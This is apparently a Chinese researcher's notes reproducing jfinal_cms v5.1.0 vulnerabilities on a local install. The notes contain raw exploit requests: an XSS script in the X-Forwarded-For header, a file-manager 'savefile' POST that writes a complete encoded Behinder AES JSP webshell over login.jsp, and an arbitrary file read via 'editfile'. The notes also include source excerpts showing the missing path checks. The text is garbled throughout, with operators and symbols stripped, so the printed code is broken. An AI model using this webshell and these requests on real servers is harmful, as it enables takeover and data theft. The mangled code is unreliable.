jfinal_cms-v5.1.0
CVE-2022-29648通过伪造的 X-Forwarded-For 请求头注入脚本。他说到这个我只能想到是这里来触发的。代码public void index() { SysUser user (SysUser) getSessionUser(); if (user null) { redirect(CommonController.firstPage); return; } setAttr(nowUser, user); // 最新文件 PageTbArticle articlePage TbArticle.dao.paginate(new Paginator(1, 10), select t.*,f.name as folderName // , from tb_article t left join tb_folder f on f.id t.folder_id // where t.status 1 and t.type in (11,12) // 查询状态为显示类型是预览和正常的文章 and f.site_idgetBackSite().getId() order by t.update_time desc,t.id desc); setAttr(articles, articlePage.getList()); // 最新评论 PageTbComment commentPage TbComment.dao.paginate(new Paginator(1, 10), select t.*,a.title articleName , // from tb_comment t // left join tb_article a on a.id t.article_id where 11 order by t.id desc ); setAttr(comments, commentPage.getList()); // 最新用户 PageSysUser userPage SysUser.dao.paginate(new Paginator(1, 10), select t.*,d.name as departname , // from sys_user t left join sys_department d on d.id t.departid // where 1 1 and userid ! 1 order by userid desc ); setAttr(users, userPage.getList()); //最新访问用户 //这里 PageTbPageView pageViewPage TbPageView.dao.paginate(new Paginator(1, 10), select t.*, // from tb_pageview t order by id desc ); setAttr(pageViews, pageViewPage.getList()); render(path home.html); } }GET /jfinal_cms/ HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.9,zh-TW;q0.8,zh-HK;q0.7,en-US;q0.6,en;q0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive X-Forwarded-For:11111111111111111111111111111111111 Cookie: JSESSIONID6DFE67476CC97C638D80C87C93B29F4E; Hm_lvt_1040d081eea13b44d84a4af639640d511774610423,1774928205,1775025367,1775195452; session_userVrhFVJS2SgewvZrFcwCawA; Hm_lpvt_1040d081eea13b44d84a4af639640d511775207566; HMACCOUNTA2CF3FA6A7F759C5 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u0, i果然跟我直觉差不多可惜我找不着代码。GET /jfinal_cms/ HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.9,zh-TW;q0.8,zh-HK;q0.7,en-US;q0.6,en;q0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive X-Forwarded-For:scriptalert(XSS æÑ)/script Cookie: JSESSIONID6DFE67476CC97C638D80C87C93B29F4E; Hm_lvt_1040d081eea13b44d84a4af639640d511774610423,1774928205,1775025367,1775195452; session_userVrhFVJS2SgewvZrFcwCawA; Hm_lpvt_1040d081eea13b44d84a4af639640d511775207566; HMACCOUNTA2CF3FA6A7F759C5 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u0, iCVE-2023-47503位于 login.jsp 的模板管理模块导致的RCE漏洞。是直接用管理员权限改Jsp的代码来造成RCE的% page languagejava pageEncodingUTF-8% % response.sendRedirect(login); %由于他前端不让我直接编辑于是只能改包POST /jfinal_cms/admin/filemanager?configfilemanager.config.js HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0 Accept: application/json, text/javascript, */*; q0.01 Accept-Language: zh-CN,zh;q0.9,zh-TW;q0.8,zh-HK;q0.7,en-US;q0.6,en;q0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charsetUTF-8 X-Requested-With: XMLHttpRequest Content-Length: 777 Origin: http://localhost:8080 Connection: keep-alive Referer: http://localhost:8080/jfinal_cms/admin/filemanager/list Cookie: JSESSIONID98854D45F247A3BC40502F847710A50F; Hm_lvt_1040d081eea13b44d84a4af639640d511774610423,1774928205,1775025367,1775195452; session_userVrhFVJS2SgewvZrFcwCawA Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u0 content%3C%25%40pageimport%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%3E%0D%0A%3C%25!%0D%0AclassUextendsClassLoader%7B%0D%0AU(ClassLoaderc)%7Bsuper(c)%3B%7D%0D%0ApublicClassg(byte%5B%5Db)%7Breturnsuper.defineClass(b%2C0%2Cb.length)%3B%7D%0D%0A%7D%0D%0A%25%3E%0D%0A%3C%25%0D%0AStringk%3D%22e45e329feb5d925b%22%3B%0D%0Asession.putValue(%22u%22%2Ck)%3B%0D%0ACipherc%3DCipher.getInstance(%22AES%22)%3B%0D%0Ac.init(2%2CnewSecretKeySpec(k.getBytes()%2C%22AES%22))%3B%0D%0AnewU(this.getClass().getClassLoader()).g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%0D%0A%25%3Emodesavefilepath%2Fjfinal_cms%2Flogin.jsp修改成功确认项目类型Spring Boot 还是传统 War 包这是问题的核心也是你之前“别人怎么连上的”这个疑问的根源。· 如果是 Spring Boot 项目默认不支持 JSP。必须在 pom.xml 中添加特定依赖并配置 application.properties。在这种情况下冰蝎的 JSP 马很可能无法正常工作。· 如果是传统 War 包项目通常可以直接访问 JSP。由于我这是打包的所以不行能改就证明可以了。public void index() { HttpServletRequest request getRequest(); try { request.setCharacterEncoding(UTF-8); getResponse().setCharacterEncoding(UTF-8); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } FileManager fm new FileManager(getRequest()); JSONObject responseData null; String mode ; String path ; boolean needPath false; boolean putTextarea false; if (!auth()) { fm.error(fm.lang(AUTHORIZATION_REQUIRED)); } else { //获取path String contextPath request.getContextPath(); // 设置contextPath fm.setGetVar(contextPath, contextPath); //获取 mode request.getParameter(mode); path request.getParameter(path); //path ! null if (path ! null) { try { //看请求 if (request.getMethod().equals(GET)) path new String(path.getBytes(ISO8859-1), UTF-8); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } //检查path是否为空 needPath fm.setGetVar(path, path); } if (request.getMethod().equals(GET)) { if (mode ! null mode ! ) { if (mode.equals(getinfo)) { if (needPath) { responseData fm.getInfo(); } } else if (mode.equals(getfolder)) { if (needPath) { responseData fm.getFolder(); } } else if (mode.equals(rename)) { String oldFile request.getParameter(old); String newFile request.getParameter(new); try { oldFile new String(oldFile.getBytes(ISO8859-1), UTF-8); newFile new String(newFile.getBytes(ISO8859-1), UTF-8); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } if (fm.setGetVar(old, oldFile) fm.setGetVar(new, newFile)) { responseData fm.rename(); } } else if (mode.equals(delete)) { if (needPath) { responseData fm.delete(); } } else if (mode.equals(addfolder)) { String name request.getParameter(name); try { name new String(name.getBytes(ISO8859-1), UTF-8); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } if (needPath fm.setGetVar(name, name)) { responseData fm.addFolder(); } } else if (mode.equals(download)) { if (needPath) { fm.download(getResponse()); } } else if (mode.equals(preview)) { if (needPath) { fm.preview(getResponse()); } } else if (mode.equals(editfile)) { if (needPath) { responseData fm.editFile(); } } else { fm.error(fm.lang(MODE_ERROR)); } } } else if (request.getMethod().equals(POST)) { if (mode null) { mode upload; responseData fm.add(); putTextarea true; } else if (mode.equals(savefile)) { if (needPath fm.setGetContent(content, request.getParameter(content))) { //返回响应保存 responseData fm.saveFile(); } } } } if (responseData null) { //报错 responseData fm.getError(); } if (responseData ! null) { //展示看mode String responseStr responseData.toString(); if (putTextarea) responseStr textarea responseStr /textarea; log.info(mode: mode ,response: responseStr); renderText(responseStr); } else { renderNull(); } }public JSONObject saveFile() { JSONObject array new JSONObject(); try { //文件内容 String content this.get.get(content); // content FileManagerUtils.decodeContent(content); //不严格判断 bakupFile(new File(getRealFilePath())); //写入 FileManagerUtils.writeString(getRealFilePath(), content); //返回包 array.put(Path, this.get.get(path)); array.put(Error, ); array.put(Code, 0); } catch (JSONException e) { logger.error(JSONObject error, e); this.error(JSONObject error); } catch (IOException e) { logger.error(IOException error, e); this.error(IOException error); } //返回arrayjson return array; }protected String getRealFilePath() { //拼接 String path this.fileRoot getFilePath(); //无过滤 return FileManagerUtils.rebulid(path); }public static String decodeContent(String content) { //replaceAll 是一种用于字符串中全局替换所有匹配子串的常用方法广泛应用于多种编程语言如 Java、JavaScript、R、Go 等。 //转义 content content.replaceAll(lt;/textarea, /textarea); //返回 return content; }protected void bakupFile(File src) throws IOException { if (!BAKUP_FLAG) { return; } String targetPath FileManagerUtils.rebulid(src.getPath()); String rootPath FileManagerUtils.rebulid(this.fileRoot); //startsWith() 是一种用于判断字符串是否以指定子串开头的常用方法广泛应用于多种编程语言中。以下是主流语言中的实现方式和关键特性 //检查是不是真实路径是不是rootPath开头 if (!targetPath.startsWith(rootPath)) { logger.warn(bakup dir error: src.getPath()); return; }//字符转 public static String rebulid(String currentPath) { String filePath currentPath; filePath filePath.replaceAll(\\\\, \\/); filePath filePath.replaceAll(//, /); return filePath; }键值存储//path path 值 public boolean setGetVar(String var, String value) { // boolean retval false; if (value null || value ) { this.error(sprintf(lang(INVALID_VAR), var)); } else { //放入 this.get.put(var, sanitize(value)); retval true; } //返回 return retval; }CVE-2023-30349位于 ActionEnter 函数的RCE漏洞CVE-2023-34645任意文件读取漏洞这个我都不想看了一猜就是路径限制不完整导致任意文件读取然后最后渲染出来。GET /jfinal_cms/admin/filemanager?modeeditfilepath%2Fjfinal_cms%2Fbakup%2Fyh.txtconfigfilemanager.config.jstime822 HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0 Accept: application/json, text/javascript, */*; q0.01 Accept-Language: zh-CN,zh;q0.9,zh-TW;q0.8,zh-HK;q0.7,en-US;q0.6,en;q0.5 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Connection: keep-alive Referer: http://localhost:8080/jfinal_cms/admin/filemanager/list Cookie: JSESSIONID5138D8C3A1314192701ED010439A14BE; Hm_lvt_1040d081eea13b44d84a4af639640d511774610423,1774928205,1775025367,1775195452; session_userVrhFVJS2SgewvZrFcwCawA Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u0FileManager fm new FileManager(getRequest()); JSONObject responseData null; String mode ; String path ; boolean needPath false; boolean putTextarea false; if (!auth()) { fm.error(fm.lang(AUTHORIZATION_REQUIRED)); } else { //获取path前端) String contextPath request.getContextPath(); // 设置contextPath fm.setGetVar(contextPath, contextPath); mode request.getParameter(mode); path request.getParameter(path); if (path ! null) { try { if (request.getMethod().equals(GET)) path new String(path.getBytes(ISO8859-1), UTF-8); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } //检查是否为空 needPath fm.setGetVar(path, path); } else if (mode.equals(editfile)) { if (needPath) { //读取 responseData fm.editFile(); } } else { fm.error(fm.lang(MODE_ERROR)); }//path path 值 public boolean setGetVar(String var, String value) { // boolean retval false; if (value null || value ) { this.error(sprintf(lang(INVALID_VAR), var)); } else { //放入 this.get.put(var, sanitize(value)); retval true; } //返回 return retval; }public JSONObject editFile() { JSONObject array new JSONObject(); // 读取文件信息 try { //获取文件路径读取 String content FileManagerUtils.readString(getRealFilePath()); //标签转义 content FileManagerUtils.encodeContent(content); array.put(Path, this.get.get(path)); array.put(Content, content); array.put(Error, ); array.put(Code, 0); } catch (JSONException e) { this.error(JSONObject error); } catch (IOException e) { e.printStackTrace(); } //返回数组 return array; }protected String getRealFilePath() { //拼接getFilePath()可控仅仅判断开头 String path this.fileRoot getFilePath(); return FileManagerUtils.rebulid(path); }public static String rebulid(String currentPath) { String filePath currentPath; filePath filePath.replaceAll(\\\\, \\/); filePath filePath.replaceAll(//, /); return filePath; }protected String getFilePath() { String path this.get.get(path); return getFilePath(path); }protected String getFilePath(String path) { String contextPath this.get.get(contextPath); // 根目录 if (StrUtils.isEmpty(contextPath)) { return path; } if (path.startsWith(contextPath)) { //startsWith() 是一种用于判断字符串是否以指定子串开头的常用方法广泛应用于多种编程语言中。以下是主流语言中的实现方式和关键特性 path path.replaceFirst(contextPath, ); } return path; }CVE-2024-8694这些我都没找到入口位于 /admin/template/update 的路径遍历漏洞。CVE-2024-8706这些我都没找到入口位于 /admin/template/update 的路径遍历漏洞。CVE-2023-49375这些我都没找到入口位于 /admin/friend_link/updateCVE-2023-49376这些我都没找到入口位于 /admin/tag/deleteCVE-2023-49377这些我都没找到入口位于 /admin/tag/update 的CSRF漏洞CVE-2023-49379这些我都没找到入口CSRF漏洞。CVE-2023-49447这些我都没找到入口位于 /admin/nav/update 的CSRF漏洞。CVE-2025-6105位于 HOME.java 的 Logout 参数存在CSRF漏洞。public void logout() { removeSessionUser(); //重定向首页 redirect(CommonController.firstPage); }CVE-2021-40639通过 /classes/conf/db.properties 访问敏感信息无法复现